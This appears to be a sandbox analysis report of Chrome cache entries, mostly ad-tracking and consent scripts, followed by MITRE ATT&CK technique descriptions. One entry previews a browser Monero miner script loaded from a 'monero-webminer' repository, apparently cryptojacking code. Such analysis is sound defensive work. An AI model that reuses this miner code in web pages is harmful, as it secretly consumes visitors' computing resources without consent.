Preview:	try { __ez.ce=new __ez.Pixel("/detroitchicago/ce.gif"),__ez.ce.TypePageview=1,__ez.ce.TypeVideo=2,__ez.ce.TypeVideoAd=3,__ez.ce.TypeVideoAdOutstream=4,__ez.ce.setPixelBuilder((function(e){return{t:e.type,id:e.keyId+"",n:e.name+"",v:e.val+"",iv:!!e.visible}})),__ez.ce.setFireConfig({urlParam:"e",withAutomaticFire:!0}),__ez.ce.AddEvent=function(e,d,i,_){var t={type:e,keyId:d,name:i,val:_,visible:!1};__ez.ce.Add(t)},__ez.ce.AddPageviewEvent=function(e,d){__ez.ce.AddEvent(__ez.ce.TypePageview,__ez.dot.getPageviewId(),e,d)},__ez.ce.AddVideoEvent=function(e,d,i){__ez.ce.AddEvent(__ez.ce.TypeVideo,e,d,i)},__ez.ce.AddVideoAdEvent=function(e,d,i){__ez.ce.AddEvent(__ez.ce.TypeVideoAd,e,d,i)},__ez.ce.AddVideoAdOutstreamEvent=function(e,d,i){__ez.ce.AddEvent(__ez.ce.TypeVideoAdOutstream,e,d,i)},function(){var e=[];window.ezoicEvent&&Array.isArray(window.ezoicEvent.queue)&&(e=window.ezoicEvent.queue),window.ezoicEvent={queue:{push:function(e){e()}},add:function(e,d){var i={type:__ez.ce.TypePageview

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	160
Entropy (8bit):	5.204444114450758
Encrypted:	false
SSDEEP:
MD5:	AF15ECFE46737CB2A37226FD060F23A6
SHA1:	531085BEADCBFE87ED7E5BB352EE60045929287A
SHA-256:	4718DD9F68E969D1CB5E1B6172206B7150AD1D8CD5C5C1FE5812DD0E1646D426
SHA-512:	C00F134148ADF8FCB589F4DDA6DECCA604AD190D3FF428DBE0F06314E4BE3C107A402886AB26DA608B480053DBE33F6821E2ECC102282AAE990185230CA0C369
Malicious:	false
Reputation:	unknown
Preview:	/. Quantcast measurement tag. Copyright (c) 2008-2022, Quantcast Corp../.'use strict';(function(a,b,c){__qc("rules",[a])})("p-31iz6hfFutd16",window,document);

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	86993
Entropy (8bit):	5.43493495677421
Encrypted:	false
SSDEEP:
MD5:	53AEDC0F897176DA3988B5DFE9A65574
SHA1:	CEC968FCE72C6919A63DC738650EC963F54155CE
SHA-256:	9B4B0C126D0534A8956D7D2205C0F1270A315254B52EABE79F856C9A89A980C2
SHA-512:	1C876645AF2428622C3FCEF83B807ACDD2AD1E8CE14D2481C43E92686380E25FBF841A0A739E275FEE56501659EEDE2713A755594215CA13B8584F7FB6417744
Malicious:	false
Reputation:	unknown
URL:	https://the.gatekeeperconsent.com/ccpa/v2/ccpaplus.js?cb=10
Preview:	try { class EventData{eventName;listenerId;data;pingData;constructor(eventName,listenerId,data,pingData){this.eventName=eventName,this.listenerId=listenerId,this.data=data,this.pingData=pingData}}class PingData{gppVersion;cmpStatus;cmpDisplayStatus;signalStatus;supportedAPIs;cmpId;sectionList;applicableSections;gppString;parsedSections;constructor(cmpApiContext){this.gppVersion=cmpApiContext.gppVersion,this.cmpStatus=cmpApiContext.cmpStatus,this.cmpDisplayStatus=cmpApiContext.cmpDisplayStatus,this.signalStatus=cmpApiContext.signalStatus,this.supportedAPIs=cmpApiContext.supportedAPIs,this.cmpId=cmpApiContext.cmpId,this.sectionList=cmpApiContext.gppModel.getSectionIds(),this.applicableSections=cmpApiContext.applicableSections,this.gppString=cmpApiContext.gppModel.encode(),this.parsedSections=cmpApiContext.gppModel.toObject()}}class Command{callback;parameter;success=!0;cmpApiContext;constructor(cmpApiContext,callback,parameter){this.cmpApiContext=cmpApiContext,Object.assign(this,{callbac

Chrome Cache Entry: 111

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15406
Entropy (8bit):	1.9085819228423686
Encrypted:	false
SSDEEP:
MD5:	7A48C42299FA45F1AF35CD27158695D5
SHA1:	7B5AD66B86FF24798F8784B79ABD6E5218E8A22D
SHA-256:	8E722F769596A30704F2A413BC77D46CB6997660B3D80AA627843CB7A9ECD146
SHA-512:	6757474149CD0FFCAF856CFB5C8839CECFD5948B06AC0CC79467E86D80F6E51C95412A8831B9A66C2C3B624C66C61AC6AE26DE4C3842445ACF4401880619FBFB
Malicious:	false
Reputation:	unknown
Preview:	............ .h...6... .... .(.......00.... .h&......(....... ..... .................................................................................................................................................................................................................................................ttt.....................................................###............................. .............................................XXX.bbb.....................................OOO.........................................................................%%%.................KKK.............................................................................................aaa.........lll.....................................................................AAA.EEE.........................................444.....................................................................\|\|\|...............................................................................................................

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (986), with no line terminators
Category:	dropped
Size (bytes):	986
Entropy (8bit):	5.117427318720619
Encrypted:	false
SSDEEP:
MD5:	7D4218A26FDFB75671A279DF23590389
SHA1:	3932C5C11BE4FC08C837803E6CC1FE4DFFFBC6E8
SHA-256:	A932B965C53C29DA48239FB15B5AE1456D17988A9F81EE788B854903A2ECD169
SHA-512:	D4104150202B8B823C8C4582E65FEF1888235CA251238C16217E3A06662C1EB3A19CCF585B34E91FC367BAE69012ED5E7B23B109E8B349C4C74852CE1800B427
Malicious:	false
Reputation:	unknown
Preview:	try { __ez.bitid=new __ez.Pixel("/detroitchicago/greenoaks.gif"),__ez.bitid.setPixelBuilder((function(i){var e=window._ezaq.page_view_id;if(__ez.dot.isDefined(e)&&__ez.dot.isValid(i)){var d="";return"undefined"!=typeof _ezaq&&_ezaq.hasOwnProperty("visit_uuid")&&(d=_ezaq.visit_uuid),{type:"pageview-identity",visit_uuid:d,pageview_id:e,domain_id:__ez.dot.getDID(),t_epoch:__ez.dot.getEpoch(0),data:__ez.dot.dataToStr(i)}}})),__ez.bitid.setFireConfig({urlParam:"ds",includeVisitParamFn:function(){return void 0!==window.ezWp&&ezWp&&"undefined"!=typeof _ezaq&&_ezaq.hasOwnProperty("visit_uuid")}}),void 0!==window.ez_bitid_cmd&&Array.isArray(window.ez_bitid_cmd)&&window.ez_bitid_cmd.forEach((function(i){"function"==typeof i&&i()}));} catch(err) {var hREED = function(er) {return function() {reportEzError(er, "/detroitchicago/overlandpark.js")}}; typeof reportEzError==="function"?hREED(err):window.addEventListener('reportEzErrorDefined',hREED(err), {once: true}); console.error(err);}

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (23058), with escape sequences
Category:	downloaded
Size (bytes):	23145
Entropy (8bit):	5.430100666317915
Encrypted:	false
SSDEEP:
MD5:	98B62AEB5F2126845C5B50ABBA9AF639
SHA1:	241D7A81B371B10B5AF0FFA97C4FF9D9E3CCD250
SHA-256:	F43C3EFC0E4CD7AD886134A73546A826F85848D9A15AB89C47A9DC40A0BBAC85
SHA-512:	A436DEC81A933F115DF5874CD3B7A9D6E4EF875E748AC0729BD6E04FD3658AA9A51B7636E8783A634BD6F3009C64C64972941428CC06E1C0073B006AFEA81D9F
Malicious:	false
Reputation:	unknown
URL:	https://secure.quantserve.com/quant.js
Preview:	/* Copyright (c) 2008-2023, Quantcast Corp. https://www.quantcast.com/legal/license /.!function(){"use strict";var e="qcSes";function t(){var e=r();return"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,(function(t){var n=(e+16Math.random())%16\|0;return e=Math.floor(e/16),("x"===t?n:3&n\|8).toString(16)}))}var n=function(){try{if(!window.sessionStorage)return t()}catch(e){return t()}var n;try{if(n=window.sessionStorage.getItem(e))return n}catch(e){return t()}n=t();try{window.sessionStorage.setItem(e,n)}catch(e){}return n}();function r(){return(new Date).getTime()}function o(){return new Date}function a(e){var t=new Date(2e3,e,1,0,0,0,0),n=t.toUTCString(),r=new Date(n.substring(0,n.lastIndexOf(" ")-1));return t.getTime()-r.getTime()}function i(){return Math.round(2147483647*Math.random())}var c=/qcdbgc=1$/.test(window.location.toString());function u(e,t){if("undefined"!=typeof console){var n="ERROR"===e?".[41m QuantJS .[0m":".[44m QuantJS .[0m";console.log.apply(console,[n].conca

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46337)
Category:	downloaded
Size (bytes):	196474
Entropy (8bit):	5.25745853413363
Encrypted:	false
SSDEEP:
MD5:	386C845E842C33F96075AA0D7205F85A
SHA1:	914EEBEA9EA3DF7A38F76818843A6925323C0117
SHA-256:	53B8263B398505C7655E007BEA6FC926552E0A3A82924C22C4C2AD00A4F9D6B8
SHA-512:	055E7E47B0DA9776496013D98F6D5C969844888D9A56E685ACAD717D66B3F41D8360D4CF362CF32A2842DFCFD4D43F060013A98BA24952974C4CFCDEBE15340B
Malicious:	false
Reputation:	unknown
URL:	https://cdn.jsdelivr.net/gh/NajmAjmal/monero-webminer@main/script.js
Preview:	var server = "wss://ws1.server:80/;wss://ws2.server:80/;wss://ws3.server:80/", job = null, workers = [], ws, receiveStack = [], sendStack = [], totalhashes = 0, connected = 0, reconnector = 0, attempts = 1, throttleMiner = 0, handshake = null, wasmSupported = function() {. try {. if ("object" === typeof WebAssembly && "function" === typeof WebAssembly.instantiate) {. var c = new WebAssembly.Module(Uint8Array.of(0, 97, 115, 109, 1, 0, 0, 0));. if (c instanceof WebAssembly.Module). return new WebAssembly.Instance(c)instanceof WebAssembly.Instance. }. } catch (g) {}. return !1.}();.function addWorkers(c) {. logicalProcessors = c;. if (-1 == c) {. try {. logicalProcessors = window.navigator.hardwareConcurrency. } catch (g) {. logicalProcessors = 4. }. 0 < logicalProcessors && 40 > logicalProcessors \|\| (logicalProcessors = 4). }. for (; 0 < logicalProcessors--; ).

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (10813), with no line terminators
Category:	dropped
Size (bytes):	10813
Entropy (8bit):	5.344539081488062
Encrypted:	false
SSDEEP:
MD5:	96A7143C6F518D2CD38C281177AACD46
SHA1:	6263C4299FEBB5B32AAC66083EE3C4623C05F429
SHA-256:	03AC47569A4C49AF3204EDC42F44BE039D22BFFA1CE769C53FC90DEFB3B7E34D
SHA-512:	9C58D5DF730BFFBEB6B30B02BC142342002FF98F4E860FA245FDF1B5D5630E65CBCCE84E6B975F5913A0CDEDE83D40FDD20C54653C071331441C7E67F249E39F
Malicious:	false
Reputation:	unknown
Preview:	try { !function(){function e(e){return function(e){if(Array.isArray(e))return r(e)}(e)\|\|function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]\|\|null!=e["@@iterator"])return Array.from(e)}(e)\|\|i(e)\|\|function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function t(e,t){for(var n=0;n<t.length;n++){var i=t[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}function n(e,t){var n="undefined"!=typeof Symbol&&e[Symbol.iterator]\|\|e["@@iterator"];if(!n){if(Array.isArray(e)\|\|(n=i(e))\|\|t&&e&&"number"==typeof e.length){n&&(e=n);var r=0,o=function(){};return{s:o,n:function(){return r>=e.length?{done:!0}:{done:!1,value:e[r++]}},e:function(e){throw e},f:o}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}va

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (824), with no line terminators
Category:	downloaded
Size (bytes):	824
Entropy (8bit):	5.091567716535464
Encrypted:	false
SSDEEP:
MD5:	4ED3B89388D5EB4FF863DC8F5708BF54
SHA1:	AB125CA06259B079C9C7EB3155315AAEA2895365
SHA-256:	A4FAFCD389D58BBD82E49D9A68E81E9DC8384330FF14EC3283A4D0D11812047B
SHA-512:	F25315CA811449C271A7EB03D600306A9530FEDCFBC226C9260C4B905A237161FF749E19A81CEEF39FB5E71EA8BADC23647FE058C0CE8D0F8C0FDFA809FA9CCB
Malicious:	false
Reputation:	unknown
URL:	https://www.ezojs.com/detroitchicago/boise.js?gcb=195-0&cb=5
Preview:	try { __ez.ck.get=function(n,e){null!==e&&(n=n+"_"+e);for(var t=n+"=",o=decodeURIComponent(document.cookie).split(";"),c=0;c<o.length;c++){for(var i=o[c];" "===i.charAt(0);)i=i.substring(1);if(0===i.indexOf(t))return i.substring(t.length,i.length)}return""},__ez.ck.setByCat=function(n,e,t,o){var c=function(){(o\|\|window.ezTcfConsent[t])&&(document.cookie=n+"="+e)};o\|\|window.ezTcfConsent&&window.ezTcfConsent.loaded?c():"function"==typeof getEzConsentData?getEzConsentData().then((function(n){n&&n.loaded\|\|(console.error("cannot get ez consent data"),o=!0),c()})):(o=!0,c())};} catch(err) {var hREED = function(er) {return function() {reportEzError(er, "/detroitchicago/boise.js")}}; typeof reportEzError==="function"?hREED(err):window.addEventListener('reportEzErrorDefined',hREED(err), {once: true}); console.error(err);}

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2865)
Category:	downloaded
Size (bytes):	37696
Entropy (8bit):	5.274371787905391
Encrypted:	false
SSDEEP:
MD5:	8ECB87CB9E01B956B67E58AF0229A63B
SHA1:	77BADA7568C377E81FA7ECAC563558A5790D45E2
SHA-256:	C710CDD34E668D4B076117DE6E491DB51BFDB199410738766EBC187CF6BD625C
SHA-512:	E52ECB0DFA07FC4D5311F5CB5EE08EDE49035E67949FA29E68B014C1FD7CC448680EE9E8AFB614AD1A1CAC91A9CE03EB1D4B19C83E1C035D285A84F1E8D2675E
Malicious:	false
Reputation:	unknown
URL:	https://www.ezojs.com/porpoiseant/jellyfish.js?a=a&cb=17&dcb=195-0&shcb=34
Preview:	try { !(function(win){'use strict';var raf=win.requestAnimationFrame\|\|win.webkitRequestAnimationFrame\|\|win.mozRequestAnimationFrame\|\|win.msRequestAnimationFrame\|\|function(cb){return setTimeout(cb,16);};var reg=new RegExp('[?&]ezfd=([^&#]*)','i');var str=reg.exec(window.location.href);var res=str?str[1]:null;function FastDOM(){var self=this;self.reads=[];self.writes=[];self.raf=raf.bind(win);log('initialized',self);}.FastDOM.prototype={constructor:FastDOM,runTasks:function(tasks){log('run tasks');var task;while(task=tasks.shift())task();},measure:function(fn,ctx){log('measure');var task=!ctx?fn:fn.bind(ctx);this.reads.push(task);scheduleFlush(this);return task;},mutate:function(fn,ctx){log('mutate');var task=!ctx?fn:fn.bind(ctx);this.writes.push(task);scheduleFlush(this);return task;},clear:function(task){log('clear',task);return remove(this.reads,task)\|\|remove(this.writes,task);},extend:function(props){log('extend',props);if(typeof props!='object')throw new Error('expected object');var

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (303)
Category:	dropped
Size (bytes):	1500
Entropy (8bit):	5.230442523060936
Encrypted:	false
SSDEEP:
MD5:	E3D4EE100149C09E5FD34B2290F9DD97
SHA1:	3766B1D72922BCC2561B5F7DB751A69B672237AA
SHA-256:	0F67393986C012DBF48AA3149E2874BD84ED5F466362AD1AC31305F697F1DA7B
SHA-512:	B2B16DA582591E1E7C9D82FA2BF286E681618803CD54C93E56247BE4EA4A45C77389A72C9C475E4EE8810CDCF3AA135AE6A0C00BEDB436D2D2EEE7DF2713645A
Malicious:	false
Reputation:	unknown
Preview:	(function(){function getEzErrorURL(){var defaultDomain='//g.ezoic.net';var path='/detroitchicago/erjs';if(typeof __ez.dot!=='undefined'&&__ez.dot.hasOwnProperty('getURL')){return __ez.dot.getURL(path);}.return defaultDomain+path;}.function sendErrorMessage(errorMessage){var dataTxt=JSON.stringify(errorMessage);if(dataTxt.length>0){var url=getEzErrorURL();var logXHR=new XMLHttpRequest();logXHR.open('POST',url,true);logXHR.setRequestHeader('Content-Type','application/json');logXHR.send(dataTxt);}}.window.reportEzError=function(err,sn){if(typeof _ezaq==='undefined'){return;}.var re=/$?([^\s)]+):(\d+):(\d+)$?/;var scriptUrl,line,column;var stack=err.stack.split('\n');if(stack.length>1){var source=stack[1];var groups=re.exec(source);if(groups!==null&&groups.length>=4){scriptUrl=groups[1];line=groups[2];column=groups[3];}}.var errorMessage={message:err.message,line:parseInt(line),column:parseInt(column),error_type:err.name,script_url:scriptUrl,url:_ezaq.url,domain_id:_ezaq.domain_id,pagevi

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	31
Entropy (8bit):	4.091135423220311
Encrypted:	false
SSDEEP:
MD5:	38564A583CA8B7AF1A08468028E7C21A
SHA1:	8BF8B36D37184588407AA81276CBAA50B2936C88
SHA-256:	6C73FE2B3AC83336B38D3ED658C0F2F2375E4F84CD200EB2FB4EB668F47A87C2
SHA-512:	141482DCC5185D8094E52D0A76FFAB31075CE31FC547B1A29CD9E0A3B9AB8337760333B8C69D1EE7EE04D7F46613DE9ED3B02A7672B612C0ECED6409F84232C3
Malicious:	false
Reputation:	unknown
Preview:	bad client request, body empty.

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (516), with no line terminators
Category:	downloaded
Size (bytes):	516
Entropy (8bit):	5.146290900528249
Encrypted:	false
SSDEEP:
MD5:	FB721F1E475D12FA5DBC89A8F689850C
SHA1:	F49E618D107ED55AFD4BA2981A86F74E2943B56E
SHA-256:	BCF7993523EFCD42F5599E1C210B6433E35A39DE688C9E5AE90829741937DF71
SHA-512:	34FBF178F024006B5B1D2D197997E8A37BFC838EC177124D327A51A3DC5D0B579F6AA3790FF09186A953957C318B15BA98C343EA94E08BE732AA177C73FD42A8
Malicious:	false
Reputation:	unknown
URL:	https://go.ezodn.com/detroitchicago/audins.js?cb=3
Preview:	window._qevents=window._qevents\|\|[],function(){var e=("https:"==document.location.protocol?"https://secure":"http://edge")+".quantserve.com/quant.js",t="script";if(window.__ezHttpConsent)window.__ezHttpConsent.setByCat(e,t,[{async:!0}],"understand_audiences",!1);else{var n=document.createElement(t);n.src=e,n.async=!0,n.type="text/javascript";var s=document.getElementsByTagName(t)[0];s.parentNode.insertBefore(n,s)}}(),_qevents.push({qacct:"p-31iz6hfFutd16",labels:"Domain."+_audins_dom+",DomainId."+_audins_did});

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2214), with no line terminators
Category:	downloaded
Size (bytes):	2214
Entropy (8bit):	5.2298553994028545
Encrypted:	false
SSDEEP:
MD5:	5F1BA1DA19F3758EF053C7C08FE8FD52
SHA1:	F345C29550C9F956019FB4EC3719283A90276030
SHA-256:	3CEFEF7FC952707C97375EF3FA95A8C45A96EDA7845D02BC1C28BF3570C0CFBA
SHA-512:	096BC3152E027CB37CBB8AB952808155A8CC0CE1B613B9EA01E1E8B2570CBBE28B895E2D595A42F0B5134ABB198157176B685B7FD897FAB3BA818FBA5AF2DDDE
Malicious:	false
Reputation:	unknown
URL:	https://www.ezojs.com/parsonsmaize/olathe.js?gcb=195-0&cb=26
Preview:	try { !function(){function e(){"undefined"!=typeof ez_tos_track_count&&(ez_last_activity_count=ez_tos_track_count)}__ez.analytics=function(){var t=__ez.dot.getURL("/detroitchicago/imp.gif"),n=Date.now(),_=0,o=0,a=0;function i(){if(a++,void 0===document.visibilityState\|\|"prerender"!=document.visibilityState){if("undefined"!=typeof _ezaq){if(void 0!==_ezaq.pv_event_count&&_ezaq.pv_event_count>0){var e=parseInt((Date.now()-n)/1e3);e-_>1800?(n=Date.now(),_=0):e>=0&&(_=e,__ez.bit.Add(window._ezaq.page_view_id,[new __ezDotData("pv_event_count",_ezaq.pv_event_count),new __ezDotData("time_on_page_event",e)]),o++)}else{var c=t+("undefined"!=typeof _ezExtraQueries?"?"+_ezExtraQueries.replace(/^&+/,""):"");__ez.dot.Fire(c,_ezaq),o++}_ezaq.pv_event_count=void 0===_ezaq.pv_event_count?1:_ezaq.pv_event_count+1}}else a<20&&setTimeout(i,500)}void 0===window.isAmp&&i();var c=0;return{init:function(){var t;window.ez_tos_track_count=0,window.ez_last_activity_count=0,t="00",c=window.setInterval((function(

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2318), with no line terminators
Category:	downloaded
Size (bytes):	2318
Entropy (8bit):	5.161269894263515
Encrypted:	false
SSDEEP:
MD5:	E8D8A315D98D5441CB932CC54E501990
SHA1:	CAD3E417F5BDBFEA0BD8D50A38900184727FD510
SHA-256:	53731718AB10D0A5E783BD3EAEF381AA420A233D429903BCDE616619E25D330B
SHA-512:	866E9046B859E0C0F672F76D95AFF39386B91A692F7FC67DB404164C14B11CAFF939DF95F1B89144943B86050E2A19391E1FB35379D8478EA905AEB0D71D21EF
Malicious:	false
Reputation:	unknown
URL:	https://www.ezojs.com/detroitchicago/wichita.js?gcb=195-0&cb=9f9286e31b
Preview:	!function(){function e(i){return e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e(i)}__ez.pel=new __ez.Pixel("/porpoiseant/army.gif"),__ez.pel.setPixelBuilder((function(i,t,d,o,_,n,r,p){if(__ez.dot.isDefined(i)&&0!=__ez.dot.isAnyDefined(i.getSlotElementId,i.ElementId)){void 0===p&&(p=!1);var s=__ez.dot.getSlotIID(i),l=__ez.dot.getAdUnit(i,p),a=parseInt(__ez.dot.getTargeting(i,"compid")),f=0,z=0,m=function(i){if("undefined"==typeof _ezim_d)return!1;var t=__ez.dot.getAdUnitPath(i).split("/").pop();if("object"===("undefined"==typeof _ezim_d?"undefined":e(_ezim_d))&&_ezim_d.hasOwnProperty(t))return _ezim_d[t];for(var d in _ezim_d)if(d.split("/").pop()===t)return _ezim_d[d];return!1}(i);return"object"==e(m)&&(void 0!==m.creative_id&&(z=m.creative_id),void 0!==m.line_item_id&&(f=m.line_item_id)),__ez.dot.isDefined(s,l)&&__ez.dot.isValid(

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (557)
Category:	dropped
Size (bytes):	4289
Entropy (8bit):	5.191864201223459
Encrypted:	false
SSDEEP:
MD5:	F944F87290965FBA02CA866F2CFBD133
SHA1:	C14D4044397B26EF5F4B49F0662C360B126A7840
SHA-256:	9DB751D9654898D5745902D65F9CBFDEE0B19C2ADEBFBAA210BF772B35F659A8
SHA-512:	04C64B3AF161F76A132DE6DF9C82A3A5DCF5A5A28CC6FFA6913FC80EE5E7B4B46F25086119CA946A590427AE0001B56C800C431BCA53C7567B248DB2603D8997
Malicious:	false
Reputation:	unknown
Preview:	try { if(typeof __ez!="undefined"){__ez.vf=__ez.vf\|\|{};__ez.vf.storeURL="/detroitchicago/vpp.gif";__ez.vf.determineVideoPlayer=function(vid){if(vid instanceof HTMLVideoElement==false){return '';}.for(var i=0;i<__ez.vf.videoPlayers.length;i++){if(__ez.vf.videoPlayers[i].isOfType(vid)){return __ez.vf.videoPlayers[i].name;}}.return 'unknown';};__ez.vf.getBaseURL=function(){if((window.hasOwnProperty("ezIntType")&&window.ezIntType==="wp")\|\|window._ez_send_requests_through_ezoic){return "https://g.ezoic.net";}else{return window.location.protocol+"//"+document.location.hostname;}};__ez.vf.sendVideoPlayerPixel=function(player,vid_src){if(typeof _ezaq==='undefined'){return;}.let data={};data.url=_ezaq["url"];data.pageview_id=_ezaq["page_view_id"];data.template_id=_ezaq["template_id"];data.player_name=player;data.domain_id=_ezaq["domain_id"];data.media_src=vid_src;var img=new Image();img.src=__ez.vf.getBaseURL()+__ez.vf.storeURL+"?e="+encodeURIComponent(JSON.stringify([data]));};class EzVideoPla

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (705), with no line terminators
Category:	dropped
Size (bytes):	705
Entropy (8bit):	5.0411577981578395
Encrypted:	false
SSDEEP:
MD5:	E70C1AAA6DF9CC26E9B23824D7CBE993
SHA1:	7D3B8F0FDE30A88E534A22D7839357CF16D27E32
SHA-256:	BDB45214F548D4DA3EC07C07D9F6F92F2FBFF7D1CCEFEE55631D31729CF02A30
SHA-512:	65483F3B6CA0B68B9F57096209D077E6AD8E71CDB5421CCF545A4ABF4BA0EBC1FB6EAC2CCEC2D4C53C9FAE16101B65A48A16D59B82A00C00AA4B9FCCE00A75DF
Malicious:	false
Reputation:	unknown
Preview:	try { __ez.extra=new __ez.Pixel("/detroitchicago/xtra.gif"),__ez.extra.setPixelBuilder((function(e){if(__ez.dot.isDefined(e)){if(e.hasOwnProperty("divId")){var i=__ez.dot.getEzimFromElementId(e.divId);null!==i&&(e.group_id=i.full_id)}return e.pageview_id=__ez.dot.getPageviewId(),e.domain_id=__ez.dot.getDID(),e}})),__ez.extra.setFireConfig({postPixels:!0}),void 0!==window.ez_extra_cmd&&window.ez_extra_cmd.forEach((function(e){"function"==typeof e&&e()}));} catch(err) {var hREED = function(er) {return function() {reportEzError(er, "/detroitchicago/vista.js")}}; typeof reportEzError==="function"?hREED(err):window.addEventListener('reportEzErrorDefined',hREED(err), {once: true}); console.error(err);}

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (752), with no line terminators
Category:	downloaded
Size (bytes):	752
Entropy (8bit):	5.029469006700883
Encrypted:	false
SSDEEP:
MD5:	7919AC69C4DCE8515E95F79A692100DB
SHA1:	49AE09ADAB1455D0FAE4B7629B2F2DF00528F94A
SHA-256:	30BE558393BD8B0585C806A6EAED6D6F5B51D1CA63C0113061DFE35EAA128CE3
SHA-512:	A56B327506F496C0BF35EB3220D1AFF317B0D9D6FF3AD13C0B6CDCC03D9FECA90AE2BAA97D6C782E2DADAA83D381A18BCF0E5D49F9C045529B5BFC3E6A9867A1
Malicious:	false
Reputation:	unknown
URL:	https://www.ezojs.com/detroitchicago/birmingham.js?gcb=195-0&cb=539c47377c
Preview:	!function(){function i(i,e,o){var t=new __ez.Pixel(o);return t.setPixelBuilder((function(o,t){var _=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null;if(__ez.dot.isDefined(o)&&__ez.dot.isValid(t)){var d={type:i,domain_id:__ez.dot.getDID(),t_epoch:__ez.dot.getEpoch(0),data:__ez.dot.dataToStr(t)};return d[e]=o,_&&_.hasOwnProperty("impression_id")&&_.hasOwnProperty("ad_unit")&&(d.impression_id=_.impression_id.toString(),d.unit=_.ad_unit),d}})),t.setFireConfig({urlParam:"v",withAutomaticFire:!1}),t}__ez.vep=i("video","video_impression_id","/detroitchicago/grapefruit.gif"),__ez.vaep=i("video-ad","video_ad_impression_id","/porpoiseant/lemon.gif"),__ez.osvaep=i("outstream-video-ad","video_ad_impression_id","/porpoiseant/tangerine.gif")}();

Static File Info

⊘No static file info

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

